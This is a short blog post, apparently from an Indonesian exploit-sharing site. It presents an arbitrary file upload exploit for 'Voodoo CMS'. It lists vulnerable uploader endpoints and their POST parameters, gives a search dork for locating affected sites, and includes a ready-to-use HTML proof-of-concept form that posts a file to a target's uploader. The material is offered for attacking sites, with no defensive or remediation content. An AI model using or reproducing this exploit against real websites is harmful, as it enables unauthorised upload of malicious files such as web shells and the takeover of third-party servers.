Halaman

Voodoo CMS Aribitarty File Upload

Rabu, 16 September 2015



#- Title : Voodoo CMS Aribitarty File Upload
#- Web Vendor : voodoocms.com
#- Author : Mr. Error 404
#- Tested on : Windows 8 , Linux
#- Date : 9/12/15
#- Dork :"Dise�o y Desarrollo PVS Interactive"

Infected :
-= web.com/voodoo-admin/uploader.php -> Method post: qqfile
-= web.com/voodoo-admin/upload.php -> Method post: Filedata
-= web.com/uploader.php -> Method post: qqfile

Proof of Concept

qqfile :

<form enctype="multipart/form-data"
action="http://web.com/voodoo-admin/uploader.php" method="post">
Your File: <input name="qqfile" type="file" /><br />
<input type="submit" value="upload" />
</form>


ResultHere

Tidak ada komentar:

Posting Komentar